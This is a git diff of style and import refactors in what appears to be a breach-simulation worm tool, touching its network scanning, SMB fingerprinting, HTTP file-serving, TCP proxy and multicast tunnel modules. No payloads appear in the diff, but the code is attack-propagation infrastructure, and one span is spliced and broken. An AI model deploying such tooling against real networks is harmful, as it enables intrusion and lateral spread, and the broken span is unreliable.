a/chaos_monkey/network/range.py b/chaos_monkey/network/range.py index 68011789f..dd6bedf1f 100644 --- a/chaos_monkey/network/range.py +++ b/chaos_monkey/network/range.py @@ -2,7 +2,7 @@ import socket import random import struct from abc import ABCMeta, abstractmethod -from model.host import VictimHost +from chaos_monkey.model.host import VictimHost __author__ = 'itamar' @@ -35,7 +35,7 @@ class ClassCRange(NetworkRange): def __repr__(self): return "" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)), - socket.inet_ntoa(struct.pack(">L", self._base_address + 254))) + socket.inet_ntoa(struct.pack(">L", self._base_address + 254))) def _get_range(self): return range(1, 254) @@ -66,4 +66,4 @@ class FixedRange(NetworkRange): def _get_range(self): return [struct.unpack(">L", socket.inet_aton(address))[0] - for address in self._fixed_addresses] \ No newline at end of file + for address in self._fixed_addresses] diff --git a/chaos_monkey/network/smbfinger.py b/chaos_monkey/network/smbfinger.py index 20691ae0f..f9f3d6e2b 100644 --- a/chaos_monkey/network/smbfinger.py +++ b/chaos_monkey/network/smbfinger.py @@ -1,23 +1,21 @@ -import re -import sys import socket import struct -import string import logging -from network import HostFinger -from model.host import VictimHost +from chaos_monkey.network import HostFinger +from chaos_monkey.model.host import VictimHost from odict import odict -import select SMB_PORT = 445 SMB_SERVICE = 'tcp-445' LOG = logging.getLogger(__name__) -class Packet(): + +class Packet(object): fields = odict([ ("data", ""), ]) + def __init__(self, **kw): self.fields = odict(self.__class__.fields) for k,v in kw.items(): @@ -25,9 +23,11 @@ class Packet(): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v + def __str__(self): return "".join(map(str, self.fields.values())) + ##### SMB Packets ##### class SMBHeader(Packet): fields = odict([ @@ -45,6 +45,7 @@ class SMBHeader(Packet): ("mid", "\x00\x00"), ]) + class SMBNego(Packet): fields = odict([ ("wordcount", "\x00"), @@ -55,6 +56,7 @@ class SMBNego(Packet): def calculate(self): self.fields["bcc"] = struct.pack(">sys.stderr, '-'*40 pass + class HTTPServer(threading.Thread): def __init__(self, local_ip, local_port, filename, max_downloads=1): self._local_ip = local_ip @@ -172,8 +173,8 @@ class HTTPServer(threading.Thread): filename = self._filename @staticmethod def report_download(): - self.downloads+=1 - + self.downloads += 1 + httpd = InternalHTTPServer((self._local_ip, self._local_port), TempHandler) httpd.timeout = 0.5 @@ -186,6 +187,7 @@ class HTTPServer(threading.Thread): self._stopped = True self.join(timeout) + class HTTPConnectProxy(TransportProxyBase): def run(self): httpd = InternalHTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) diff --git a/chaos_monkey/transport/tcp.py b/chaos_monkey/transport/tcp.py index 5ad9bb07c..0b5c94187 100644 --- a/chaos_monkey/transport/tcp.py +++ b/chaos_monkey/transport/tcp.py @@ -1,7 +1,5 @@ -import sys import socket import select -import time from threading import Thread from base import TransportProxyBase from logging import getLogger @@ -11,9 +9,10 @@ DEFAULT_TIMEOUT = 10 LOG = getLogger(__name__) + class SocketsPipe(Thread): def __init__(self, source, dest, timeout=DEFAULT_TIMEOUT): - Thread.__init__( self ) + Thread.__init__(self) self.source = source self.dest = dest self.timeout = timeout @@ -43,7 +42,8 @@ class SocketsPipe(Thread): self.source.close() self.dest.close() - + + class TcpProxy(TransportProxyBase): def run(self): @@ -74,4 +74,4 @@ class TcpProxy(TransportProxyBase): l_socket.close() for pipe in pipes: - pipe.join() \ No newline at end of file + pipe.join() diff --git a/chaos_monkey/tunnel.py b/chaos_monkey/tunnel.py index b6f881966..c6c444fba 100644 --- a/chaos_monkey/tunnel.py +++ b/chaos_monkey/tunnel.py @@ -17,16 +17,17 @@ MCAST_GROUP = '224.1.1.1' MCAST_PORT = 5007 BUFFER_READ = 1024 DEFAULT_TIMEOUT = 10 -QUIT_TIMEOUT = 1200 #20 minutes +QUIT_TIMEOUT = 1200 # 20 minutes + def _set_multicast_socket(timeout=DEFAULT_TIMEOUT): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.settimeout(timeout) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('', MCAST_PORT)) - sock.setsockopt(socket.IPPROTO_IP, - socket.IP_ADD_MEMBERSHIP, - struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY)) + sock.setsockopt(socket.IPPROTO_IP, + socket.IP_ADD_MEMBERSHIP, + struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY)) return sock @@ -64,13 +65,14 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): sock.sendto("+", (address, MCAST_PORT)) sock.close() - return (address, port) + return address, port except Exception, exc: LOG.debug("Caught exception in tunnel lookup: %s", exc) continue return None + def quit_tunnel(address, timeout=DEFAULT_TIMEOUT): try: sock = _set_multicast_socket(timeout) @@ -94,12 +96,11 @@ class MonkeyTunnel(Thread): self.local_port = None super(MonkeyTunnel, self).__init__() self.daemon = True + self.l_ips = None def run(self): self._broad_sock = _set_multicast_socket(self._timeout) - self.l_ips = local_ips() - self.local_port = get_free_tcp_port() if not self.local_port: @@ -151,4 +152,4 @@ class MonkeyTunnel(Thread): host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port) def stop(self): - self._stopped = True \ No newline at end of file + self._stopped = True